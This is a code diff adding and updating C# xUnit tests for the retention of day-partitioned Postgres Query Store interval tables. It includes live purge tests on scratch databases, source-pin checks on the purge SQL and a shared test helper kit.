+        await PromoteAsync(connection, table, Now.AddDays(-12), logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, table, Now, logger, ct);
+        var wholeDay = new DateTime(2026, 9, 28);
+        Assert.True(await ExistsAsync(connection, table.DayPartition(wholeDay), ct));
+
+        /* A reader of the parent blocks the DROP's ACCESS EXCLUSIVE lock for longer than the 5 s lock timeout. */
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {table.Parent} IN ACCESS SHARE MODE", ct);
+            var blocked = await PurgeAsync(postgres, table, Now, logger, ct);
+
+            Assert.Equal(0, blocked.Failed);   /* a lock timeout is "retry next hour", not a failure */
+            Assert.True(await ExistsAsync(connection, table.DayPartition(wholeDay), ct), "nothing was dropped under the lock");
+            Assert.True(await ExistsAsync(connection, table.Legacy, ct));
+            await hold.RollbackAsync(ct);
+        }
+
+        var next = await PurgeAsync(postgres, table, Now, logger, ct);
+        Assert.Equal(0, next.Failed);
+        Assert.False(await ExistsAsync(connection, table.DayPartition(wholeDay), ct), "the next pass drops it");
+        Assert.False(await ExistsAsync(connection, table.Legacy, ct));
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task TheDefaultDelete_RemovesOnlyRowsBeforeTheCutoff()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            await PromoteAsync(connection, table, Now.AddDays(-(table.HorizonDays + 10)), logger, ct);
+            await QueryStoreIntervalPartitions.CreateAheadAsync(connection, table, Now, logger, ct);
+
+            /* Drop the expired days and the legacy table first: their range is then a gap, so a row in it lands in DEFAULT. */
+            var cutoff = Now.AddDays(-table.HorizonDays);
+            Assert.Equal(0, (await PurgeAsync(postgres, table, Now, logger, ct)).Failed);
+            Assert.False(await ExistsAsync(connection, table.Legacy, ct), "the legacy table is gone, so its old range is a gap");
+
+            await InsertAsync(connection, table, cutoff.AddDays(-3), 1, ct);     /* before the cutoff: in the gap */
+            await InsertAsync(connection, table, cutoff.AddDays(-1), 2, ct);     /* a whole expired day, already dropped: in the gap */
+            await InsertAsync(connection, table, Now.AddDays(60), 3, ct);          /* far ahead of every partition */
+            Assert.Equal(table.Default, await PartitionOfAsync(connection, table, 3, ct));
+            Assert.Equal(table.Default, await PartitionOfAsync(connection, table, 1, ct));
+            Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM {table.Default}", ct));
+
+            var result = await PurgeAsync(postgres, table, Now, logger, ct);
+
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id = 3", ct));
+            Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {table.Default} WHERE first_execution_time < '{cutoff:yyyy-MM-dd HH:mm:ss}'", ct));
+            Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {table.Default}", ct));
+        }
+
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task ALegacyRowAndADailyPartitionRowThatShareACtid_AreNotConfused_ByThePurge()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            /* Three expired rows in the legacy table, then promote, then three live rows in the first daily partition: each
+               heap starts at page 0, so the two sets have the same ctids, (0,1) through (0,3). */
+            for (var i = 1; i <= 3; i++)
+            {
+                await InsertAsync(connection, table, Now.AddDays(-30).AddMinutes(i), i, ct);
+            }
+
+            await PromoteAsync(connection, table, Now, logger, ct);
+            var s = QueryStoreIntervalPartitions.ArmBound(Now);
+            for (var i = 4; i <= 6; i++)
+            {
+                await InsertAsync(connection, table, s.AddHours(i), i, ct);
+            }
+
+            Assert.Equal(table.Legacy, await PartitionOfAsync(connection, table, 1, ct));
+            Assert.Equal(table.DayPartition(s), await PartitionOfAsync(connection, table, 4, ct));
+            var shared = await CountAsync(connection,
+                $"SELECT count(*) FROM {table.Legacy} AS l WHERE EXISTS (SELECT 1 FROM {table.DayPartition(s)} AS d WHERE d.ctid = l.ctid)", ct);
+            Assert.Equal(3L, shared);   /* the precondition that makes this test able to fail */
+
+            var result = await PurgeAsync(postgres, table, Now, logger, ct);
+
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(3, result.RowsDeleted);
+            Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {table.Parent} WHERE query_id <= 3", ct));
+            Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM {table.DayPartition(s)}", ct));
+        }
+
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task OnePartOfThePurgeFailing_DoesNotStopTheOthers()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var logger = new ListLogger();
+
+        /* The wide table: legacy bounded at S = 9-28 and already expired, with a view on it so its DROP fails with 2BP01 (a real
+           error, not a lock timeout). The legacy table is the oldest expired partition, so the drop part fails at once. */
+        var wide = Wide;
+        await InsertAsync(connection, wide, Now.AddDays(-20), 1, ct);   /* legacy: expired */
+        await PromoteAsync(connection, wide, Now.AddDays(-12), logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, wide, Now, logger, ct);
+        await ExecAsync(connection, $"CREATE VIEW collect.zz_blocks_the_drop AS SELECT query_id FROM {wide.Legacy}", ct);
+        /* The latest table is healthy and has an expired row in its legacy table. */
+        var latest = Latest;
+        await PromoteAsync(connection, latest, Now.AddDays(-20), logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, latest, Now, logger, ct);
+        await InsertAsync(connection, latest, Now.AddDays(-40), 9, ct);   /* legacy: expired */
+
+        var failed = await PurgeAsync(postgres, wide, Now, logger, ct);
+        var healthy = await PurgeAsync(postgres, latest, Now, logger, ct);
+
+        /* The failed drop is counted and logged, and the same call still row-purged the legacy table. */
+        Assert.Equal(1, failed.Failed);
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("could not drop expired partitions", StringComparison.Ordinal)), logger.Dump());
+        Assert.Equal(1, failed.RowsDeleted);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {wide.Parent} WHERE query_id = 1", ct));
+        Assert.True(await ExistsAsync(connection, wide.Legacy, ct), "the blocked legacy table is still there");
+
+        /* The other table purged normally. */
+        Assert.Equal(0, healthy.Failed);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {latest.Parent} WHERE query_id = 9", ct));
+
+        /* Remove the dependency and the next pass drops what was stuck. */
+        await ExecAsync(connection, "DROP VIEW collect.zz_blocks_the_drop", ct);
+        Assert.Equal(0, (await PurgeAsync(postgres, wide, Now, logger, ct)).Failed);
+        Assert.False(await ExistsAsync(connection, wide.Legacy, ct));
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalRetentionPinTests.cs b/Darling/Darling.Tests/QueryStoreIntervalRetentionPinTests.cs
new file mode 100644
index 0000000000..525eeddd74
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalRetentionPinTests.cs
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the retention of the day-partitioned Query Store interval tables (#5571). A <c>ctid</c> repeats across
+/// partitions, so a <c>DELETE ... WHERE ctid IN (SELECT ctid ...)</c> against the partitioned PARENT can delete live
+/// rows of another day. The row-capped purge must therefore name the legacy table, and the DEFAULT delete must name the
+/// DEFAULT partition. The live check that proves the behavior is in <see cref="QueryStoreIntervalRetentionLiveTests"/>;
+/// these catch the rewrite before it reaches a database.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class QueryStoreIntervalRetentionPinTests
+{
+    private const string PurgeStart = "internal static async Task<IntervalPartitionPurge> PurgeIntervalTableAsync(";
+    private const string PurgeEnd = "/// <summary>Whether a schema-qualified relation exists";
+
+    private static string ReadSource(string project, string file, [CallerFilePath] string callerFile = "")
+    {
+        var relative = Path.Combine("Darling", project, file);
+        for (var dir = new DirectoryInfo(Path.GetDirectoryName(callerFile)!); dir is not null; dir = dir.Parent)
+        {
+            var candidate = Path.Combine(dir.FullName, relative);
+            if (File.Exists(candidate))
+            {
+                return File.ReadAllText(candidate);
+            }
+        }
+
+        throw new FileNotFoundException(file + " not found above " + callerFile);
+    }
+
+    private static string PurgeBody([CallerFilePath] string callerFile = "")
+    {
+        var source = ReadSource("PerformanceMonitor.Darling.Service", "DarlingRetention.cs", callerFile);
+        var start = source.IndexOf(PurgeStart, StringComparison.Ordinal);
+        Assert.True(start >= 0, "PurgeIntervalTableAsync moved or was renamed");
+        var end = source.IndexOf(PurgeEnd, start, StringComparison.Ordinal);
+        Assert.True(end > start, "the end of PurgeIntervalTableAsync could not be found");
+        return source.Substring(start, end - start);
+    }
+
+    [Fact]
+    public void ThePurgeNamesTheLegacyTable_NeverTheParent()
+    {
+        var body = PurgeBody();
+
+        Assert.Contains("RowCappedDeleteSql(table.Legacy", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("RowCappedDeleteSql(table.Parent", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("RowCappedDeleteSql(table.Name", body, StringComparison.Ordinal);
+
+        /* Every PurgeOneAsync call in the purge names the legacy table or the DEFAULT partition as its table: the second argument. */
+        var calls = Regex.Matches(body, @"PurgeOneAsync\(\s*postgres,\s*(?<table>[^,\s]+),").Select(m => m.Groups["table"].Value).ToList();
+        Assert.Equal(2, calls.Count);
+        Assert.All(calls, c => Assert.True(c is "table.Legacy" or "table.Default", $"PurgeOneAsync names {c}"));
+    }
+
+    [Fact]
+    public void TheDefaultDeleteNamesTheDefaultPartition_AndIsAPlainCutoffDelete()
+    {
+        var sql = DarlingRetention.DefaultPartitionDeleteSql(QueryStoreIntervalPartitions.Wide);
+
+        Assert.Equal("DELETE FROM collect.query_store_interval_wide_default WHERE first_execution_time < $1", sql);
+        Assert.DoesNotContain("ctid", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.Equal(
+            "DELETE FROM collect.query_store_interval_latest_default WHERE first_execution_time < $1",
+            DarlingRetention.DefaultPartitionDeleteSql(QueryStoreIntervalPartitions.Latest));
+    }
+
+    [Fact]
+    public void NoPurgeStatementInRetentionNamesAnIntervalParentByLiteral()
+    {
+        var source = ReadSource("PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+
+        /* The parents are reachable only through the table descriptors (and only for logging); a literal parent name in a
+           purge call is the pre-partitioning shape. */
+        var literal = new Regex(@"(RowCappedDeleteSql|PurgeOneAsync)\([^;]*""(collect\.)?query_store_interval_(wide|latest)""");
+        Assert.DoesNotMatch(literal, source);
+    }
+
+    [Fact]
+    public void TheLegacyDropIsGatedOnPromotion_AndTheLegacyTableCanNeverBeSelectedWhileUnbounded()
+    {
+        var source = ReadSource("PerformanceMonitor.Darling.Storage", "QueryStoreIntervalPartitions.cs");
+        var start = source.IndexOf("public static async Task<StepResult> DropExpiredAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("public static async Task<StepResult> RunMaintenanceAsync(", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+
+        /* The first statement after reading the state: not promoted means not ready, and nothing is dropped. */
+        var gate = body.IndexOf("if (!state.Promoted)", StringComparison.Ordinal);
+        var drop = body.IndexOf("DROP TABLE", StringComparison.Ordinal);
+        Assert.True(gate >= 0 && drop > gate, "DropExpiredAsync must check Promoted before any DROP");
+        Assert.Contains("StepOutcome.NotReady", body.Substring(gate, drop - gate), StringComparison.Ordinal);
+        Assert.Contains("SET LOCAL lock_timeout", source, StringComparison.Ordinal);
+        Assert.Contains("IsLockTimeout(ex)", body, StringComparison.Ordinal);
+
+        /* An unbounded legacy table and DEFAULT are never in the expired set. */
+        var expired = source.IndexOf("public static IReadOnlyList<PartitionInfo> ExpiredPartitions(", StringComparison.Ordinal);
+        var expiredBody = source.Substring(expired, 400);
+        Assert.Contains("!p.IsDefault", expiredBody, StringComparison.Ordinal);
+        Assert.Contains("!p.UpperUnbounded", expiredBody, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalRetentionTestKit.cs b/Darling/Darling.Tests/QueryStoreIntervalRetentionTestKit.cs
new file mode 100644
index 0000000000..157539a032
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalRetentionTestKit.cs
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Shared helpers for the #5571 retention and read-shape live tests on the day-partitioned Query Store interval tables:
+/// a migrated scratch store, a promoted table, one-row inserts, and a logger that records what it was told. The test
+/// classes using it each own their scratch database, so none of them can race another's DDL.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. This class only reads DARLING_TEST_PG for the
+   test classes that CREATE and DROP their own database through ScratchPostgres; it touches no shared database. */
+internal static class QueryStoreIntervalRetentionTestKit
+{
+    internal static readonly QueryStoreIntervalPartitions.IntervalTable Wide = QueryStoreIntervalPartitions.Wide;
+    internal static readonly QueryStoreIntervalPartitions.IntervalTable Latest = QueryStoreIntervalPartitions.Latest;
+
+    internal const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.";
+
+    internal static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>The fixed "now" the retention tests use: not midnight, so a day that straddles the cutoff exists.</summary>
+    internal static readonly DateTime Now = new(2026, 10, 8, 14, 55, 30, DateTimeKind.Utc);
+
+    /// <summary>A logger that records every line, so a test can assert what was warned and what was not.</summary>
+    internal sealed class ListLogger : ILogger
+    {
+        internal List<(LogLevel Level, string Message)> Lines { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            lock (Lines)
+            {
+                Lines.Add((logLevel, formatter(state, exception)));
+            }
+        }
+
+        internal bool HasAtLeast(LogLevel level)
+        {
+            lock (Lines)
+            {
+                return Lines.Any(l => l.Level >= level);
+            }
+        }
+
+        internal string Dump()
+        {
+            lock (Lines)
+            {
+                return string.Join(" | ", Lines.Select(l => $"{l.Level}: {l.Message}"));
+            }
+        }
+    }
+
+    /// <summary>A scratch database run through every migration, so both interval tables are partitioned with an attached legacy table.</summary>
+    internal static async Task<NpgsqlConnection> OpenStoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    internal static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    internal static async Task<long> CountAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>Whether a schema-qualified relation exists.</summary>
+    internal static async Task<bool> ExistsAsync(NpgsqlConnection connection, string qualifiedName, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT to_regclass($1) IS NOT NULL", connection);
+        command.Parameters.AddWithValue(qualifiedName);
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>One row with the given <c>first_execution_time</c>; the query id keys it.</summary>
+    internal static async Task InsertAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, DateTime first, long query, CancellationToken ct)
+    {
+        var sql = table == Wide
+            ? "INSERT INTO collect.query_store_interval_wide (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc) "
+              + "VALUES ($1, 1, 'db', $2, $2, 'Regular', $1, $1, 'select 1', 1, 1000, 1, $1)"
+            : "INSERT INTO collect.query_store_interval_latest (collection_time, server_id, database_name, query_id, plan_id, first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id) "
+              + "VALUES ($1, 1, 'db', $2, $2, $1, $1, 'select 1', 1, 1000, 1)";
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(first, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = query });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>The leaf a row lives in, schema-qualified, found by its query id.</summary>
+    internal static async Task<string> PartitionOfAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, long query, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            $"SELECT 'collect.' || (SELECT c.relname FROM pg_class AS c WHERE c.oid = t.tableoid) FROM {table.Parent} AS t WHERE query_id = {query}",
+            connection);
+        return (string)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>The leaves of a table by name, from the catalog.</summary>
+    internal static async Task<IReadOnlyList<string>> PartitionNamesAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, CancellationToken ct) =>
+        (await QueryStoreIntervalPartitions.ReadPartitionsAsync(connection, table, ct)).Select(p => p.Name).ToList();
+
+    /// <summary>Arms, validates and promotes a table as of <paramref name="promotedAt"/> (legacy bound S = that day + 2), with no waits between retries.</summary>
+    internal static async Task PromoteAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, DateTime promotedAt, ILogger logger, CancellationToken ct)
+    {
+        var step = await QueryStoreIntervalPartitions.RunPromotionAsync(
+            connection, table, promotedAt, logger, TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        if (step.Outcome is not (QueryStoreIntervalPartitions.StepOutcome.Done or QueryStoreIntervalPartitions.StepOutcome.NothingToDo))
+        {
+            throw new InvalidOperationException($"{table.Name} did not promote: {step.Outcome} {step.Detail}");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs
index 9bb4d005d6..deeed16a20 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
    to CREATE and DROP its own database through ScratchPostgres and works entirely inside it (the chunk drops and
    the retention delete run against that database), so it cannot race live collection. */
 [Collection("gap-cache-serial")]
+[Trait("Cost", "Slow")]
 public sealed class QueryStoreIntervalWideBelowFloorLiveTests
 {
     internal const int ServerId = -4689001;
@@ -441,6 +442,7 @@ public async Task Disclosure_EffectiveStart_IsTheExactBound_AndTheNoteNamesTheRe
         Assert.Equal(S.AddHours(12), DateTime.Parse(filled.GetProperty("effective_start").GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind));
         Assert.True(filled.GetProperty("window_truncated").GetBoolean());
         Assert.Contains("began keeping complete history", filled.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        AssertTheNoteNamesTheField(filled);
 
         await ForceFilledSinceAsync(rig.Connection, S.AddDays(-1), ct);
         await PurgeTableAsync(rig.Connection, S.AddMinutes(90), ct);
@@ -449,20 +451,40 @@ public async Task Disclosure_EffectiveStart_IsTheExactBound_AndTheNoteNamesTheRe
         Assert.Equal("interval_table", edge.GetProperty("history_source").GetString());
         Assert.Equal(S.AddHours(2).Add(QueryStoreIntervalWide.PurgeEdgeMargin), DateTime.Parse(edge.GetProperty("effective_start").GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind));
         Assert.Contains("keeps 9 days", edge.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        AssertTheNoteNamesTheField(edge);
+    }
+
+    /// <summary>#4966: <c>effective_start</c> prints in UTC with the Z, and the note names the start in that exact text.
+    /// The page shows the instant in the browser's zone by finding the field's text in the note; a note that spelled the
+    /// store's naive floor on its own carried no Z, so it was found nowhere and drawn in bare UTC above local times.</summary>
+    private static void AssertTheNoteNamesTheField(JsonElement answer)
+    {
+        var start = answer.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", start, StringComparison.Ordinal);
+        Assert.Contains(start, answer.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
     }
 
     /* ---- helpers ------------------------------------------------------------------------------------------ */
 
-    /// <summary>Runs the real retention delete for the interval table, slice by slice, until it deletes nothing.</summary>
+    /// <summary>
+    /// Runs the real retention delete for the interval table (#5569: the row-capped cursor form, batch by
+    /// batch, carrying the cursor the way <c>DarlingRetention.PurgeOneAsync</c> does) until it deletes nothing.
+    /// </summary>
     internal static async Task PurgeTableAsync(NpgsqlConnection connection, DateTime cutoff, CancellationToken ct)
     {
-        var sql = DarlingRetention.TimeSlicedDeleteSql("collect.query_store_interval_wide", "first_execution_time");
+        var unspecified = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified);
+        DateTime? cursor = null;
         int deleted;
         do
         {
-            await using var command = new NpgsqlCommand(sql, connection);
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-            deleted = await command.ExecuteNonQueryAsync(ct);
+            var (rows, maxDeleted) = await DarlingRetention.ExecuteCursoredBatchAsync(
+                connection, "collect.query_store_interval_wide", "first_execution_time", 5_000, unspecified,
+                cursor, ct);
+            deleted = rows;
+            if (maxDeleted is not null)
+            {
+                cursor = maxDeleted;
+            }
         }
         while (deleted > 0);
     }
@@ -475,11 +497,13 @@ internal static async Task SnapshotAsync(Rig rig, string name, string topSql, Da
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(start, DateTimeKind.Unspecified) });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(rig.End, DateTimeKind.Unspecified) });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TestTop });
-        for (var i = 0; i < 3; i++)
+        command.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());  /* #5245: the database list binds one text[] */
+        for (var i = 0; i < 2; i++)
         {
             command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = DBNull.Value });
         }
 
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(TestTop) });  /* #5313: the round's candidate limit, bound last */
         await command.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs
index 4e2fbb8abd..bc57dc9bd4 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorRoutesLiveTests.cs
@@ -123,6 +123,7 @@ private static async Task GridSnapshotAsync(
 
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TestTop });
         command.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(TestTop) });  /* #5313: the round's candidate limit, bound last */
         await command.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs
index 0c82074aae..43032b6ac2 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs
@@ -45,13 +45,13 @@ private static async Task<NpgsqlConnection> OpenMigratedAsync(ScratchPostgres sc
         return connection;
     }
 
-    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    internal static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
     {
         await using var command = new NpgsqlCommand(sql, connection);
         return await command.ExecuteScalarAsync(ct);
     }
 
-    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    internal static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
     {
         await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 300 };
         await command.ExecuteNonQueryAsync(ct);
@@ -79,29 +79,35 @@ FROM generate_series(1, {rows}) AS g
         "collection_time = collection_time + interval '1 minute', last_execution_time = last_execution_time + interval '1 minute', "
         + "execution_count = execution_count + 1, avg_duration_us = avg_duration_us + 1";
 
-    private static async Task<(long Updated, long Hot)> UpdateAndReadHotAsync(
-        NpgsqlConnection connection, string setList, string where, CancellationToken ct)
+    internal static async Task<(long Updated, long Hot)> UpdateAndReadHotAsync(
+        NpgsqlConnection connection, string setList, string where, CancellationToken ct, string? table = null)
     {
+        table ??= Table;
         /* The pg_stat_xact_* counters are the session's still-pending counts, so an earlier measurement on this
            connection is still in them after its rollback: take the delta around the update. */
         await using var transaction = await connection.BeginTransactionAsync(ct);
-        var (updatedBefore, hotBefore) = await ReadXactCountersAsync(connection, transaction, ct);
-        await using (var update = new NpgsqlCommand($"UPDATE {Table} SET {setList} WHERE {where}", connection, transaction) { CommandTimeout = 300 })
+        var (updatedBefore, hotBefore) = await ReadXactCountersAsync(connection, transaction, table, ct);
+        await using (var update = new NpgsqlCommand($"UPDATE {table} SET {setList} WHERE {where}", connection, transaction) { CommandTimeout = 300 })
         {
             await update.ExecuteNonQueryAsync(ct);
         }
 
-        var (updatedAfter, hotAfter) = await ReadXactCountersAsync(connection, transaction, ct);
+        var (updatedAfter, hotAfter) = await ReadXactCountersAsync(connection, transaction, table, ct);
         await transaction.RollbackAsync(ct);
         return (updatedAfter - updatedBefore, hotAfter - hotBefore);
     }
 
     private static async Task<(long Updated, long Hot)> ReadXactCountersAsync(
-        NpgsqlConnection connection, NpgsqlTransaction transaction, CancellationToken ct)
+        NpgsqlConnection connection, NpgsqlTransaction transaction, string table, CancellationToken ct)
     {
+        /* #5571: the interval tables are partitioned by day, so the parent holds no rows or counters of its own; an update
+           is counted on the leaf partition that holds the row. The counters are summed over the table's leaves; the store
+           this test migrates is always partitioned (pg_partition_tree returns no row for a plain table). */
         await using var command = new NpgsqlCommand(
-            "SELECT COALESCE(SUM(n_tup_upd), 0)::bigint, COALESCE(SUM(n_tup_hot_upd), 0)::bigint FROM pg_stat_xact_all_tables WHERE schemaname = 'collect' AND relname = 'query_store_interval_wide'",
+            "SELECT COALESCE(SUM(s.n_tup_upd), 0)::bigint, COALESCE(SUM(s.n_tup_hot_upd), 0)::bigint "
+            + "FROM pg_partition_tree(@table::regclass) AS p JOIN pg_stat_xact_all_tables AS s ON s.relid = p.relid WHERE p.isleaf",
             connection, transaction);
+        command.Parameters.AddWithValue("table", table);
         await using var reader = await command.ExecuteReaderAsync(ct);
         Assert.True(await reader.ReadAsync(ct));
         return (reader.GetInt64(0), reader.GetInt64(1));
@@ -125,7 +131,7 @@ public async Task Ensure_BuildsAValidBrinIndexOnce_AndASecondCallChangesNothing(
